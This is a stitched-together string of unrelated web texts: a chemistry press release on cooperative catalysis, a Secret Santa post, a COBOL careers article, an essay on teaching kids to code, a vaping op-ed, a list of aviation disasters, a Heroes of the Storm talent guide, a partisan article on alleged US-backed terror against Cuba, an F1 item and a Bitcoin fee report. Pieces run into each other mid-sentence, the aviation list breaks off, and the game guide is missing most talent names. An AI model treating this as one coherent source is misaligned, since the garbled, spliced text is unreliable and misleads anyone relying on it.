"In our new approach, we discovered a pair of catalysts that work cooperatively to produce valuable compounds for biomedical research, which is important given the demand for new pharmaceuticals of all kinds," said senior author Karl A. Scheidt, the Irving M. Klotz Professor of Chemistry in the Weinberg College of Arts and Sciences. "Cooperative catalysis -- using two catalysts instead of just one -- will help us develop important compounds faster and with less waste. It also opens up an exciting new area of catalysis to explore."
Scheidt and his team started with simple stock chemicals and ended up with a number of compounds that are potentially bioactive and similar to each other. In the reaction, catalyst one (a magnesium salt that acts as an electron-deficient "Lewis acid") activates one molecule, and catalyst two (a mimic of thiamine, a carbene and an electron-rich "Lewis base") activates a second molecule simultaneously. The two activated substrates come together. The result is rapid, efficient and controlled production of large amounts of a molecule called gamma-lactam, a key building block for many pharmaceuticals.
On paper, the two catalysts should bind together and not be that effective as catalysts, but, it turns out, they don't interact that tightly. Instead, when there is a substrate for each catalyst, they work in tandem. Before this discovery, no one had identified an electron-deficient metal Lewis acid that works with a carbene. (A carbene is a highly reactive, transient molecule in which a carbon atom has only two bonds versus the normal four.)
"Nature employs a lot of catalysis -- to do such crucial biological transformations as acylations, oxidations and reductions, but it's hard to do what nature does in a flask," said Scheidt, director of Northwestern's Center for Molecular Innovation and Drug Discovery. "Getting two catalysts that are seemingly incompatible to work together is a significant advance. Now we have a great first step to realizing the full potential of this powerful cooperative catalysis strategy. Ultimately, this approach should allow chemists to combine simple components under catalytic conditions to generate new bioactive compounds of high value."
Explore further: UCR chemists prepare molecules that accelerate chemical reactions for manufacturing drugsMy santa has been great from the very beginning. She asked me lots of questions to get my gift just right. I told her for the past year my boyfriend and I have been living in a small apartment with the world's smallest kitchen/hallway. We just moved to an apartment with a bigger kitchen and the gifts I received are perfect for our new place! After traveling halfway across the country I was so excited to see a huge box from World Market. I got an amazing set of ombre stacking mugs, a tea infuser, adorable striped ramekins, and a glass curet. I don't know how my santa guessed but I'm a sucker for gradients of any kind so I LOVE the mugs and ramekins. I also love loose leaf tea but never had anything to make a whole lot before now. The little cruet is super cute. The only problem is that I can't decide what to put in it. Thanks again, FeistyAle! You're the best. :)A career as a Cobol programmer might not be as sexy as slinging Java code or scripting in Ruby, but if you buckle down and learn hoary old Cobol, you could land one of the safest, most secure jobs in IT.
Analyst reports indicate that Cobol salaries are on the upswing. The language is easy to learn, there's a healthy demand for the skills, and offshore Cobol programmers are in short supply -- plus, the language itself holds the promise of longevity. All that loose talk about mainframes going away has subsided, and companies committed to big iron need Cobol pros to give them love.
[ To learn about other skills in high-demand during tight times, read "Recession-proof IT jobs." ]
In a troubled economy, with analysts forecasting IT spending slowdowns, secure IT positions could quickly become scarcer than they are today. Seasoned Cobol programmers, in contrast, "should be in pretty good shape job-wise. If they have a position at an organization that intends to keep its legacy Cobol apps, then they are probably set for life," says industry analyst Jeff Gould, director of research at Interop Systems. "Many mainframe customers with large mission-critical Cobol apps are locked into the mainframe platform. Often there is no equivalent packaged app, and it proves to be just too expensive to port the legacy Cobol to newer platforms like Intel or AMD servers."
Why Cobol is alive and well
William Conner, a senior manager in Deloitte's technology integration practice, comments that "salaries for Cobol programmers have been rising in recent years due to a lack of supply. Demand is outstripping supply because many Cobol programmers are reaching retirement age and college leavers tend to focus on Java, XML, and other modern languages."
Deloitte also found that three-fifths of respondents are actually developing new and strategic Cobol-based applications. Yes, right here in 2008.
Retired Cobol programmer William C. Kees, who coded in Cobol for 25 years, says that the language is easy to learn and that he mastered it without taking any classes. Another career Cobol programmer requesting anonymity seconds that sentiment: "It's easy to learn, read, and follow. After looking at code for.Net or VisualBasic, give me Cobol any day. At least it's readable."
What's more, Cobol programmers are not as prone to having their job outsourced, according to Brian Keane, CEO for Dextrys, an outsourcing company based in China and the United States. "The Chinese don't have mainframe experience. Because Chinese computer science graduates have come late to the technology table they are starting with the latest architectures and systems and don't have the experience with legacy languages and systems," he says.
Latin American countries are in a situation similar to that of the United States, according to Gabriel Rozman, executive vice president for emerging markets at Tata Consultancy Services. "Many Latin countries are still stuck with legacy mainframes where Cobol is a common skill," says Rozman, "so that anyone who has [that and] the latest Java skills, for example, would be sought after."
Bridging the old and the new
Mainframes aren't going anywhere mainly because they do an extremely reliable job with high-volume transaction processing. But increasingly, companies are benefiting from integrating legacy mainframe Cobol applications with the rest of the enterprise, to leverage their power and work toward real-time business operations.
SOA, for instance, opens all sorts of opportunities to expose Cobol apps to the wider world. "Many mainframe users are actively pursuing SOA as a way to integrate their legacy Cobol apps with newer nonmainframe apps," explains Jeff Gould of Interop Systems.
"There's a new kind of job emerging for which people need to have 'bridging skills,' where they understand the importance of existing systems and how to integrate those with modern systems and deploy Cobol into modern architectures," points out Arunn Ramadoss, head of the Micro Focus Academic Connections Program, which partners with colleges, universities, and other institutions to teach Cobol to students.
By 2007, the number of universities and colleges offering Cobol classes was dwindling. But that has reversed dramatically. In May of last year, Micro Focus launched its academic program to focus on Cobol as well as other core IT skills by providing member universities with free access to requisite technology and teaching tools.
[ Can't get enough Cobol? Try Neil McAllister's take on California's Cobol conundrum. ]
Since last May, Micro Focus has signed up at least one college or university every week; in late September, it surpassed 50 U.S. academic institutions. "We're expecting 7,500 students to graduate with Cobol skills next year, and in the years after we hope to boost that number to 10,000 or 15,000," Ramadoss says.
While Micro Focus boasts what appears to be the largest university program, would-be Cobol programmers do have other options, including community colleges, private so-called business schools, and IT training classes.
Landing a job in a Cobol shop
Deloitte's Conner says that the firm is "already seeing significant demand for Cobol expertise," especially in financial services firms, where Cobol continues to be prevalent. So what does it take to get a position at a company that needs Cobol skills?
No, you don't need to get a crew cut. In fact, the desired qualifications match those for many other IT jobs. Prospective employers are looking for Cobol people who understand business, have a diverse skill set, and possess the ability to learn new technologies as necessary, according to Lou Washington, a senior marketing manager in Cincom's control manufacturing business solutions group.
J.D. Williams, a U.K.-based direct home shopping company, considers Cobol an essential skill when hiring programmers, according to IT training manager Mike Madden: "We've got a development shop of about 100 people, and 60 of them know Cobol. They're all actively coding in it or using it in their analysis." The company has a huge legacy system built on Cobol and Assembler that includes more than 5,000 programs.
There's even work for those who prefer -- or are at least willing to take -- short-term gigs. Andrew Larkin, an IT project manager in the legal field, learned Cobol in 1998 to leverage the boom in IT jobs due to the Y2K craze; since then, he's found that "the primary suppliers of Cobol jobs are either very large companies looking for maintenance hires or head hunting firms with contract positions to fill, most of which last less than a year."
J.D. Williams' Madden contends that contract work is a solid fallback plan for Cobol programmers. "I would quite happily go back to being a freelance Cobol programmer because that's quite secure, too," the IT training manager says.
Retired programmer Kees believes that IT shops "could very well still have Cobol shreds existing" decades into the future. "Cobol will be around for some time -- maybe till 2050, I don't know," Kees adds. "But I would bet it will still be in use when I croak."
Ephraim Schwartz contributed to this report.I felt pretty jealous as I walked into the computer room of the elementary school I was visiting. The hulking PCs of my youth – with their giant floppy disk drives and 8-bit copies of Oregon Trail – were nowhere to be seen. Instead, children were happily tapping away at Photoshop and playing Web games on pristine, wafer-thin iMacs.
I had come to the school to have a group of kids play-test Code Monkey Island – a board game I had designed to introduce kids to programming fundamentals. As I carefully unwrapped the components of my prototype, one of the kids grabbed a monkey figurine and quickly inspected it.
“This was 3D printed, wasn’t it? I can tell by how rough the plastic is.” Having only seen and held a 3D printed object for the first time in my life earlier that week, needless to say I was impressed by his experience.
As students enrolled in an after-school programming class, the group was already familiar with a multitude of digital tools designed to introduce kids to programming. With Code Monkey Island, I had seemingly entered into an arms race to teach kids as young as eight a set of skills worth six figures a year.
The new literacy
Visiting the elementary school cemented one important fact for me – the world was a very different place when I was 10 years old. In 2001, I was taking my first tentative steps into a fledgling, dial-up Internet. Now, kids aren’t just exploring the Internet – they’re building it.
Their world is the stuff of science fiction: iPhones, app-controlled lights, thermostats that adapt to your schedule, 3D printers. And understanding how that world works is as crucial as being able to read a map or calculate a restaurant tip.
For my generation, programming is still a luxury – an impressive resume booster for some; a ticket into the hottest startups for others. For children growing up today, programming will be a necessity – an indication of their understanding of how modern businesses, institutions, and processes are run, and how they can be run better. As such, they need to become comfortable working in and around code from a young age.
Programming through play
So how do we teach kids abstract concepts that take college students entire semesters (and then some) to master?
Kids are natural builders, quick learners, and generally a lot smarter than we give them credit for. But if I could barely stay engaged in my college Java lectures, there’s no way they could hold a 10 year-old’s attention. We need to redefine how education works, not by asking kids to conform to our patterns and expectations, but by attempting to conform to theirs.
ThoughtSTEM (an organization dedicated to teach kids how to code) realized that Minecraft – a LEGO-esque video game that allows kids to use code snippets to modify their gaming experience – was incredibly popular with their kids. The organization designed an entire course around the game, which subsequently created a wait-list 100 students strong.
Meanwhile, programs like M.I.T.’s Scratch empower children to build fun, bite-sized applications and animations through pseudo-code, then to visualize the result of their work with colorful sprites. And, more recently, physical board games like Robot Turtles and Code Monkey Island provide an experience where the whole family can play and learn together.
The result? A thriving ecosystem where children are learning how to code, and where educators, programmers, and entrepreneurs alike are transforming how programming is taught.
Read more: Programming through play: Why teaching kids to code will change how the rest of us codeYes, I vape. On occasion, I might even smoke a real cigarette.
Through my military career, including three combat tours, I even experienced chewing tobacco.
Now that I vape, does it mean I am one step closer to dying than say, someone who might drink too much, eat too much red meat or live an all-around unhealthy lifestyle?
No way.
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To vape is to smoke an electronic cigarette, for those who don’t know. An e-cigarette is different from a regular cigarette, mainly because it does not contain tobacco. E-cigarettes contain a liquid that is vaporized—hence, the word vape—and inhaled. It might taste and smell like tobacco, but it’s not.
It’s true that vaping isn’t as sexy as smoking old-fashioned cigarettes. Generations of Americans were brought up smoking traditional tobacco products and to them, vaping may appear to be nothing more than a fad, set to eventually burn out. They’re wrong.
The reason I vape is simple: It’s so I don’t smoke cigarettes. I vape knowing that I’m not inhaling tobacco. Most importantly, I vape because I believe it could save my life.
There are millions of Americans like me, who are choosing e-cigarettes over their traditional counterpart. Now the Food and Drug Administration wants to force me and millions of others to revert to cigarettes through the issuance of new regulations. What the FDA is proposing is a date of February 15, 2007, to require approval for e-cigarettes, even if they are already being sold.
Not so bad, right? Wrong.
To comply, any company that manufactures e-cigarettes must submit an application, to include test results on health risks.
Doesn’t sound so bad, right? Wrong again.
The problem is that most e-cigarettes didn’t exist before February 15, 2007. So if the FDA gets its way, not only will modern day e-cigarettes, with all their advancements and improvements, no longer be available for purchase, but thousands of small businesses specializing in the sale of vaping pens and accessories will be forced to close their doors.
Also, whatever products did exist before 2007—which people are sure to continue buying—will lack all the improvements that have transformed e-cigarettes into a more acceptable alternative. Other consumers may choose to go back to real thing.
There’s no science behind the FDA’s proposed date. It’s completely arbitrary. This is not to say that a grandfather date shouldn’t exist, maybe one should, but there’s no other motive behind the FDA’s date than to deny Americans a product that is becoming a suitable replacement to cigarettes.
If the FDA won’t change the proposed grandfather date then Congress must—at least to the date a regulation is issued. Pertinent legislation has already been introduced in the House and discussions are underway to possibly include a date change in forthcoming omnibus legislation.
It’s hard to imagine images from past, of soldiers storming beachheads with vaping pens in their mouths, men in workshops and factories billowing clouds of vaporized smoke, or men and women in bars and social gatherings talking to each other as they vape. But this is 2015—and surely, had the technology been around then, we’re sure to see much of what we see today: Americans turning to a product that reduces their urge to put a cigarette to their lips and keeps tobacco out of their mouths and lungs.
The FDA should wise up. And if their true goal is to reduce cigarette use, then imposing a prohibition of sorts on e-cigarettes is senseless. Then again, maybe the FDA is counting on a surge in lighter sales to account for the cost—personal and financial—of their ill-conceived regulation.
Hunter represents California’s 50th Congressional District and has served in the House since 2009. He sits on the Armed Services; the Education and the Workforce; and the Transportation committees.In aviation, an accident is defined by the Convention on International Civil Aviation Annex 13 as an occurrence associated with the operation of an aircraft, which takes place from the time any person boards the aircraft with the intention of flight until all such persons have disembarked, and in which a) a person is fatally or seriously injured, b) the aircraft sustains significant damage or structural failure, or c) the aircraft goes missing or becomes completely inaccessible.[1] Annex 13 defines an incident as an occurrence, other than an accident, associated with the operation of an aircraft that affects or could affect the safety of operation.[1]
A hull loss occurs if an aircraft is destroyed, damaged beyond repair, lost, or becomes completely inaccessible.[2]
The first fatal aviation accident was the crash of a Rozière balloon near Wimereux, France, on June 15, 1785, killing the balloon's inventor, Jean-François Pilâtre de Rozier, and the other occupant, Pierre Romain.[3] The first involving a powered aircraft was the crash of a Wright Model A aircraft at Fort Myer, Virginia, in the United States on September 17, 1908, injuring its co-inventor and pilot, Orville Wright, and killing the passenger, Signal Corps Lieutenant Thomas Selfridge.[4]
Major disasters [ edit ]
September 11 terrorist attacks [ edit ]
2,996: The deadliest aviation-related disaster of any kind, considering fatalities on both the aircraft and the ground, was the destruction of the World Trade Center in New York City on September 11, 2001. On that morning four aircraft traveling on transcontinental flights from East Coast airports to California were hijacked after takeoff. The four hijacked aircraft were subsequently crashed in four separate suicide attacks against major American landmarks, by 19 Islamic terrorists affiliated with Al Qaeda. American Airlines Flight 11 and United Airlines Flight 175 were intentionally crashed into the North and South Towers respectively of the World Trade Center, destroying both buildings in less than two hours. The World Trade Center crashes killed 2,753, the vast majority of fatalities being occupants of the World Trade Center towers or emergency personnel responding to the disaster. In addition, 184 were killed by American Airlines Flight 77, which crashed into The Pentagon (causing severe damage and partial destruction to the building's west side). 40 passengers were also killed when United Airlines Flight 93 crashed into a Somerset County Pennsylvania field after passengers fought back and prevented the hijackers from reaching their designated target. This brought the total number of casualties of the September 11 attacks to 2,996 (including the 19 terrorist hijackers). As deliberate terrorist acts, the 9/11 crashes were not classified as accidents, but as mass murder-suicide; these events were subsequently treated by the United States and the member nations of NATO as an act of war and terrorism.
Tenerife disaster [ edit ]
583: The Tenerife airport disaster, which occurred on March 27, 1977, remains the accident with the highest number of airliner passenger fatalities. 583 people died when a KLM Boeing 747 attempted to take off without flight clearance, and collided with a taxiing Pan Am 747 at Los Rodeos Airport on the Canary Island of Tenerife, Spain. There were no survivors from the KLM aircraft; 61 of the 396 passengers and crew on the Pan Am aircraft survived. Pilot error was the primary cause, as the KLM captain began his takeoff run without obtaining air traffic control clearance.[5][6] A contributing factor was the dense fog. The KLM flight crew could not see the Pan Am aircraft on the runway until immediately before the collision.[7] The accident had a lasting influence on the industry, particularly in the area of communication. An increased emphasis was placed on using standardized phraseology in air traffic control (ATC) communication by both controllers and pilots alike. "Cockpit Resource Management" has also been incorporated into flight crew training. The captain is no longer considered infallible, and combined crew input is encouraged during aircraft operations.[8]
JAL Flight 123 [ edit ]
520: The crash of Japan Airlines Flight 123 on August 12, 1985, is the single-aircraft disaster with the highest number of fatalities:[9] 520 people died on board a Boeing 747. The aircraft suffered an explosive decompression from an incorrectly repaired aft pressure bulkhead, which failed in mid flight, destroying most of its vertical stabilizer and severing all of the hydraulic lines, making the 747 virtually uncontrollable.[10] Pilots were able to keep the plane flying for 32 minutes after the mechanical failure before crashing into a mountain. All 15 crew members and 505 of the 509 passengers on board died.[11] Rescue operations were delayed until the following morning, which likely decreased the number of victims who would have survived the incident. The delay was due, in part, to the Japan Self-Defense Force rejecting search and rescue assistance from US Military stationed in the area. Furthermore, Japanese personnel inaccurately assumed, during a helicopter flyover of the impact site, that there were no survivors. Medical providers involved in rescue and analysis operations determined that several passengers likely survived the impact and probably would have survived the incident had rescue operations not been delayed. Four passengers survived the incident in its entirety; meaning that they were alive when discharged from the hospital.[11]
1996 Charkhi Dadri mid-air collision [ edit ]
349: On November 12, 1996, the world's deadliest[12] mid-air collision was the Charkhi Dadri mid-air collision involving Saudia Flight 763 and Kazakhstan Airlines Flight 1907 over Charkhi Dadri, India. The collision was mainly the result of the Kazakh pilot flying lower than the assigned clearance altitude. All 349 passengers and crew on board of both the aircraft died.[13] The Ramesh Chandra Lahoti Commission, empowered to study the causes, recommended the creation of the "semi-circular rule", to prevent aircraft from flying in opposite directions at the same altitude.[14] The Civil Aviation Authorities in India made it mandatory for all aircraft flying in and out of India to be equipped with a Traffic Collision Avoidance System (TCAS), setting a worldwide precedent for mandatory use of TCAS.
Other crashes with death tolls of 200 or higher [ edit ]
346: On March 3, 1974, Turkish Airlines Flight 981, a McDonnell Douglas DC-10, crashed in a forest northeast of Paris, France. The London-bound plane crashed shortly after taking off from Orly airport; all 346 people on board died. It was later determined that the cargo door detached, which caused an explosive decompression; this caused the floor just above to collapse. The collapsed floor severed the control cables, which left the pilots without control of the elevators, the rudder and No. 2 engine.[15] The plane entered a steep dive and crashed. It was the deadliest plane crash of all time until the Tenerife disaster in 1977.[5] It is currently the deadliest single-aircraft crash with no survivors.
329: On June 23, 1985, Air India Flight 182, a Boeing 747-237B, crashed off the southwest coast of Ireland when a bomb exploded in the cargo hold. All 307 passengers and 22 crew members died.[16] One passenger had checked in as "M. Singh". Singh did not board the flight. His suitcase containing the bomb was loaded onto the plane, however. "Mr Singh" was never identified or captured. It was later determined Sikh extremists were behind the bombing as a retaliation for the Indian government's attack on the Golden Temple in the city of Amritsar, which is very important for the Sikhs. This was, at the time, the deadliest terrorist attack involving an airplane.[17]
301: On August 19, 1980, Saudi Arabian Airlines Flight 163, a Lockheed L-1011, became the world's deadliest aviation accident that did not involve a crash. The crew performed an emergency landing at Riyadh after a fire broke out in an aft baggage compartment. The fire burned through the ceiling of the compartment and into the passenger cabin. While the crew managed to land the plane safely, the captain did not stop immediately and order an evacuation. He taxied off the runway instead, by which time everyone in the cabin had become unconscious due to fumes |
, it’s important to understand how various damage bonuses stack. Whenever a talent says “does X% more damage”, all of these bonuses stack additively. That is to say, the raw amount of damage added by each talent is independent of any other percentage bonuses. Damage talents, however, do have synergy with other talents that increase the frequency of that damage being dealt, either through increased attack speed or cooldown reduction.works well with the attack speed provided by Darkness Descends at level 4, reducing the effective cooldown to as low as 3.75 seconds. Without Darkness Descends active, Shadow Hunter reduces the cooldown to as low as 4.75 seconds. The globe quest is both more powerful and quicker to stack, dropping from 20 to 15 globes while the max benefit drops the mana cost on Blink from 50 mana to 5 rather than 10.The alternatives at this tier,and, have some potential but are generally not too relevant. While Move Unseen can help with escapes by letting Zeratul almost match mount speed while Cloaked, the reduced blink cooldown from Shadow Hunter will generally allow for both more plays and easier escapes. Greater Cleave has some appeal as a wave clear talent, increasing the radius of Cleave from 3 to 4, but ideally Zeratul will be focused on roaming and getting picks in the early game rather than clearing waves.is generally the pick here, adding a large amount of sustained damage to Zeratul and letting him leverage his Might of the Nerazim bonus damage procs more frequently. For raw burst,is the preferred talent.only does 80 damage over 3 seconds and doesn’t synergize with Might of the Nerazim because the DoT overrides itself rather than stacks.While it may look like Warp Skirmisher is the only damage talent on this tier, the extra 30% damage procs actually just make up for the ability not benefitting from Might of the Nerazim. The currently popularremains the best choice for more sustained damage., freshly buffed back to 3 seconds, is an option for a burst-oriented Zeratul that wants to simply unload damage then leave, as the increased timer comfortably allows a full combo. It is important to note that both the Seeker in the Dark and the wormhole activations count as spellcasts for Might of the Nerazim’s passive which encourages Zeratul players to space out his damaging spells on more durable targets.Zeratul’s only untouched tier is level 13.remains a powerful form of sustain for Zeratul both inside and outside of fights. Baseline, Mending Strikes heals Zeratul for 44 HP per basic attack. This healing is increased by the new basic attack talents at 4 and 16, with the Might of the Nerazim Proc adding an additional 17.6 HP and Master Warp Blade adding 55 HP. For the fast combo at level 20, Zeratul heals for 660 HP.The alternatives ofand(the latter is worth 533 HP at level 20) are generally not competitive. An exception could be made for a build that eschews both Might of the Nerazim and the basic attack talents at 4 and 16, but it seems unlikely that such a build would generally be competitive.is the new preferred talent on this tier, adding 157.5 damage every third basic attack against a target. While this adds less burst than, the new Darkness Descends enables a much more sustained damage version of Zeratul.continues to be an underperforming talent that, for some reason, was further nerfed in the most recent patch. There’s simply no reason to pick it.For Zeratul players that pick Might of the Nerazim, the upgradeis Rewind on a 15 second cooldown. The incredibly short cooldown here means that it’s very reasonable for Zeratul to get a second use in an extended teamfight.is a fascinating addition which might work well with more sustain-oriented builds. Balancing the healing from Mending Strikes along with Shadow Mending should make Zeratul rather tanky in the late game.The stealth reworks in the upcoming patch all improve the designs of the affected heroes. The primary goal of the reworks was to help lower level players by changing the stealth shader while improving their kits and talents to make them more useful at higher level play.Samuro most clearly fits this goal. His raw damage was nerfed but he gained significantly increased control both from the directional Mirror Image spawn and moving the majority of his damage to Samuro himself.Nova and Zeratul both gained significant amounts of burst. Nova remains fairly unchanged but relies more on Decoy use to get her full burst combo. Meanwhile, Zeratul’s talent tree is a huge tradeoff between damage and utility now. By splitting Void Prison and most of the talents that allowed him to do damage, he now has to pick between one or the other.Valeera’s changes ultimately are the most impactful. By shifting from the dominant Q build to one more focused on shutting down spellcasters, she’s become a serious back line threat, albeit with a little less burst.Truth is indeed oxygen to the movement for working people’s rights. Reiterating the truth of U.S. terror directed at popular struggle in Latin America is always relevant, despite major problems of war and economic crisis which occupy our attention.
U.S. complicity in terrorist crimes is clear in the case of Cuba. Cuban TV has been broadcasting the new documentary “Cuba’s Reasons: The Route of Terror” which nails down basic facts regarding terrorist Luis Posada Carriles and anti-Cuba terror over several decades. The film briefly examines the Miami-based Cuban American National Foundation (CANF), paymaster of terrorist attacks, and Miami’s Cuban-American politicians, who protect terrorists. The focus, however, is on Francisco Chavez Abarca, who Machetera identifies as “Luis Posada Carriles’ errand boy [who has been] singing like a bird to Cuban authorities.”
Venezuelan officials arrested Salvadoran Chavez Abarca on July 1 as he entered the country. He was immediately extradited to Cuba. In two televised segments, he reports on crimes carried out for over a decade.
A leader of El Salvador’s right-wing Arena Party introduced Chavez Abarca to Posada in the mid 1990s. Posada is the former CIA-deputized Venezuelan intelligence honcho who 34 years ago arranged for the mid-air bombing of a Cuban airliner and killing of 73 people. He ran drugs for the CIA in the U.S. Contra war in Nicaragua in the 1980s. He briefly went to jail for plotting a bomb attack in Panama in 2000 against Cuban President Fidel Castro.
Chavez Abarca said Posada trained him in explosives and had him recruit and train other Salvadorans and two Guatemalans. Chavez Abarca joined them in bombing Cuban hotels and entertainment sites during the 1997 tourist season. On September 4, 1997, bombs placed by Salvadoran Raul Ernesto Cruz Leon exploded in three hotels. The Copacabana blast killed Italian citizen Fabio di Celmo.
Chavez Abarca claimed that Posada paid $2,000 for each bomb placed, that Posada communicated regularly with the CIA and CANF, and that Posada asked him to kill Cruz Leon’s family after the latter confessed to Cuban prosecutors. Chavez Abarca said he came to Venezuela to join destabilization efforts there prior to the recent National Assembly elections. He indicated he had earlier plotted with Posada and right-wing Venezuelans to kill President Chavez and to bomb tankers carrying Venezuelan oil to Cuba.
Police say Chavez Abarca was associated with Alejandro Peña Esclusa, jailed since July when Venezuelan police found him with 900 kilograms of C-4 explosives. Peña heads the UnoAmerica group, involved last year with a foiled assassination plot against Bolivian President Evo Morales. UnoAmerica boasts of ties with leaders of last year’s Honduran coup and El Salvador’s Arena Party.
Terrorist plotters fleeing Venezuela are welcomed in Miami. They include Pedro Lander, Johán Peña, and brothers Otoniel and Rolando Guevara, all implicated in the 2004 bomb attack that killed Venezuelan prosecutor Danilo Anderson. Posada’s former intelligence colleagues in Venezuela are there, notably General Ernesto González who kidnapped President Chavez in 2002, and torture expert Joaquín Chaffardet. Raul Diaz arrived on September 5 after escaping from a Venezuelan jail. He joins partners José Colina and German Varela. In 2003, the trio had tried to bomb foreign embassies in order to create havoc.
Luis Posada Carriles lives in Miami with family members. His court proceedings on immigration charges have been delayed repeatedly. The U.S. government has yet to act on any Venezuelan extradition requests for these individuals.
The story by former car thief Chavez Abarca adds to the mounting evidence that the U.S. government has been exporting terror to Cuba, Venezuela, Honduras and Bolivia.
Speaking to students on September 30, Cuban National Assembly President Ricardo Alarcon dedicated his commemoration speech, which honored martyrs belonging to the revolutionary 1930’s University Student Federation, to Cuban Five prisoners Gerardo, Ramón, Antonio, Fernando, and René. Alarcon’s remarks resonate with like minded activists determined no longer to soft pedal terrorist crimes. The dedication was “for each and every one of us, to save our lives and our right to live in peace.” We will do it the way “we have always done, fighting, fighting for truth.”
One more truth is relevant. The targeted countries are always those where governments in power are dedicated to the interests, well being, and advancement of working and disadvantaged people. For the U.S. empire, anything goes, terrorism included, in its attempt to halt emancipatory processes.Kimi Raikkonen has hit back after critics called on him to be banned for his British grand prix crash.
The Finn has recovered from a bruised ankle, knee and ribs after the 47G crash at Silverstone, in which Felipe Massa was also involved and Max Chilton's head narrowly avoided a flying tyre.
"Why does he come in balls out like that and crash?" F1 legend Niki Lauda had said at Silverstone, referring to the way in which Raikkonen rejoined the circuit after running wide.
Jo Ramirez, the former McLaren team manager, said Raikkonen's driving was "ludicrous".
"He could have seriously hurt himself," the Mexican told motorline.cc, "or worse, he could have hurt Massa as well. And yet he gets away without any punishment.
"I thought Derek Warwick was the steward so I wrote to him, but it was Nigel Mansell. But Warwick replied to me 'You're right! Raikkonen should have been punished!'" Rarirez revealed.
"If it would have been Maldonado or Grosjean, they would have sat out Germany, for sure," he charged.
At Hockenheim, however, Raikkonen dismissed his critics, telling the Finnish broadcaster MTV3 that punishments are not necessary "every time a driver goes off the track".
"Of course, everyone can have their opinion," said the Finn, "but usually it's people who have never driven who are the first to say someone should be punished."Number of Unconfirmed Transactions Reaches All Time High: Heated Community Discusses Solutions
Never before has the Bitcoin Blockchain seen such a large traffic jam. The number of unconfirmed transactions reached a level, at which it hurts. The Bitcoin economy is not amused; BitPay’s Stephen Pair speaks out with exceptional clarity, while Barry Silbert of the Digital Currency Group tries to establish a broad alliance for a new compromise.
At least there is something the Bitcoin community can agree about; the MemPool reached a new all-time high. At the time of writing, more than 200,000 transactions were waiting for space in the blocks. Around 160MB of data is tacked in the blockchain traffic jam. As the network is only capable of confirming 144 blocks with each 1MB in 24 hours, it will need at least one day to clear the MemPool, even if everybody stops using Bitcoin.
The fees have become insanely expensive. Nearly 7,000 transactions paid a fee of more than 200 Satoshi for each byte, which equals a good dollar for a standard transaction which has the chance to be confirmed during the next two hours. Whoever wants to have a chance to get a place in the next block, needs to pay more than 300 Satoshi each byte, roughly $1.50. Anybody paying less than 80 Satoshi each byte (less than 50 cents) should be aware that his transaction is only one of 160,000 in the same queue.
Bitcoin has become expensive, and unreliable for those, who are unable to match the correct fee. But things become really dreadful when you have a lot of small inputs with a value of less than 60,000 Satoshi. Many people who have daily payouts of cloud mining or collected bitcoins with faucets might know this. Inputs smaller than 30,000 Satoshi have become unspendable with fees higher than 100 Satoshi, and if fees raise beyond 300 Satoshi, even small inputs of 75,000 Satoshi ($1.20) are frozen.
The affairs have begun to become painful for the Bitcoin economy. The past days are full of examples that the industry is not prepared for this fee event. For example, Trezor, the hardware wallet, charged fees of astronomical $500 for a single transaction, because the provider, to which Trezor has outsourced the fee estimation, could not deal with the full blocks. Meanwhile, users of the wallet Multibit complained that they are unable to spend their balances, and the wallet Electrum reached the limit of “sanity fees” of 300 Satoshi each byte.
Large Bitcoin companies like BitPay or Shapeshift, which accept and send thousands of transactions each day, are drowned in support requests, because everybody wants to know, when, finally, their transaction will be confirmed. AirBitz, the mobile wallet, even publicly considered paying its employees no longer with bitcoin, but with litecoin or ether, because Bitcoin transactions have become too expensive and unreliable.
Bitcoin 8MB, Litecoin SegWit
Naturally, the economy is not amused. BitPay’s Stephen Pair vented his anger on Twitter. He started with telling the world in unknown clarity what BitPay wants. He reminded of the high fees and the unconfirmed transactions and demands “time for a hard fork to larger blocks … 8MB please”.
a typical #bitcoin transaction costs $1.80 now, >200k unconfirmed transactions, time for a hard fork to larger blocks … 8mb please — Stephen Pair (@spair) May 17, 2017
With this tweet, Pair opens up the usual discussion. Adam Back, CEO of Blockstream, answers, that activating SegWit should be the first step, as this is already developed and tested. Actually, SegWit could increase the size of the blocks, if the new transaction format is used. The segregation of the signatures might especially be useful to send a lot of small inputs. In light of the obvious lack of capacity, it is as legitimate to ask for SegWit as for a hard fork.
Pair, however, replies that it is now too late for SegWit and that it cannot help anymore. He does not detail if he means that SegWit will never get enough support to be activated, or if he thinks that the capacity increase provided by SegWit is not sufficient to solve current problems.
it's too late for segwit unfortunately … would not help this situation — Stephen Pair (@spair) May 17, 2017
After this, a discussion started, which might be highly representative for the whole drama and the unsolved problem. Pair notes that he is not in general against SegWit and that he is open to it after it has been tested on Litecoin. Then other people reminded of the successful SegWit activation on Litecoin, vituperate against BitMain and Roger Ver and announce cancellation of customership at BitPay. The Swedish Pirate Rick Falkvinge joins the discussion and asked if a compromise needs a concession, many Twitter people have a “UASF” in their name, and some members of the community start to cry for a boycott of BitPay because the payment provider sold its soul by partnering with BitMain.
Shortly after, Pair tweets again: “best plan: 8mb hard fork on #bitcoin now, test segwit on litecoin.” Now Core developer Eric Lombrozo steps in. Lombrozo is usually known for being polite and sane. Here he reacted surprisingly hostile: “I really liked you, @spair – sad to see the corrupting influence of money on people you like.”
I really liked you, @spair – sad to see the corrupting influence of money on people you like. — Eric Lombrozo (@eric_lombrozo) May 17, 2017
Shapeshift CEO Eric Vorhees piped up and complained about the arrogance of Core developers; only the Core devs are immune to corruption, while everybody not agreeing with them are “at the behest of evil.” And so on.
Rude Words
Let us not get lost in gossip about what rude things this Bitcoin celeb said about the other. But there is something new in tone of the statements voiced the last days. It seems, the economy is losing patience with Core. For example, Wang Chun of F2Pool, known for funny and puzzling tweets, wrote that he considered a move from Bitcoin 0.14.0 to 1.0.1.1, was can be translated into from Bitcoin Core (v. 0.14) to Bitcoin Unlimited (v. 1.01.1.). He adds the hashtags #core #fail. Shortly later, however, he spins his idea further and tweets, “Why not go to geth 1.6.1 (Ethereum) instead of Bitcoin 1.0.1.1?”
If you could have v1.6.1 by upgrading to geth, why go for BU only v1.0.1.1? https://t.co/Q0mJdHiKKo — wangchun @ bitfish+f2pool (@satofishi) May 17, 2017
Taking an angrier tone is the prediction market Fairlay. The website warns its users publicly: “Due to Core’s incompetence in solving the problems that need to be solved fees will be raised to 0.5 mBTC per withdrawal and 0.2 mBTC per deposit on May 20.” In a now deleted message, Fairlay called the Core devs “a bunch of poorly organized scientists” which are represented by “socially awkward and ignorant” people not capable of leading Bitcoin.
